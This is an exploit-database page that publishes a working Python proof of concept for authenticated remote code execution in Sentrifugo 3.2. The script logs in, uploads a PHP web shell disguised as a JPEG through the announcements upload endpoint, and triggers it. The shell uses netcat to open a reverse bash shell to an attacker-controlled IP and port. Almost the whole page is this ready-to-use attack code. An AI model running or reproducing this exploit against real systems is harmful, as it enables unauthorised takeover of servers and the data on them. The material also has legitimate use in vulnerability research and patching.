Sentrifugo Version 3.2 announcements Remote Code Execution (Authenticated)

2020.11.09
Credit: Fatih Çelik
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: Sentrifugo Version 3.2 - 'announcements' Remote Code Execution (Authenticated) # Google Dork: N/A # Date: 2020.10.06 # Exploit Author: Fatih Çelik # Vendor Homepage: https://sourceforge.net/projects/sentrifugo/ # Software Link: https://sourceforge.net/projects/sentrifugo/ # Blog: https://fatihhcelik.blogspot.com/2020/10/sentrifugo-version-32-rce-authenticated.html # Version: 3.2 # Tested on: Kali Linux 2020.2 # CVE : N/A import requests from bs4 import BeautifulSoup from ast import literal_eval ''' You should change the below hardcoded inputs to get a reverse shell. ''' login_url = "http://XXX.XXX.XXX.XXX/sentrifugo/index.php/index/loginpopupsave" upload_url = "http://XXX.XXX.XXX.XXX/sentrifugo/index.php/announcements/uploadsave" call_shell = "http://XXX.XXX.XXX.XXX/sentrifugo/public/uploads/ca_temp/" username = "xxx" password = "xxx" attacker_ip = "XXX.XXX.XXX.XXX" listener_port = "4444" # Set proxy for debugging purposes proxy = {"http": "http://XXX.XXX.XXX.XXX:8080"} # Log in to the system session = requests.Session() request = session.get(login_url) body = {"username":username,"password":password} # session.post(login_url, data=body, proxies=proxy) session.post(login_url, data=body) # Send a request without proxy print("Logged in to the application..") # Upload the PHP shell files = [ ('myfile', ('shell.php', '<?php system(\'nc.traditional {} {} -e /bin/bash\'); ?>'.format(attacker_ip,listener_port), 'image/jpeg') ) ] # r = session.post(upload_url, files=files, proxies=proxy) r = session.post(upload_url, files=files) # Send a request without proxy response = r.content dict_str = response.decode("UTF-8") response = literal_eval(dict_str) # Convert bytes to dictionary filename = response["filedata"]["new_name"] url = call_shell + filename print("PHP file is uploaded --> {}".format(url)) # Trigger the shell session.get(url)


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top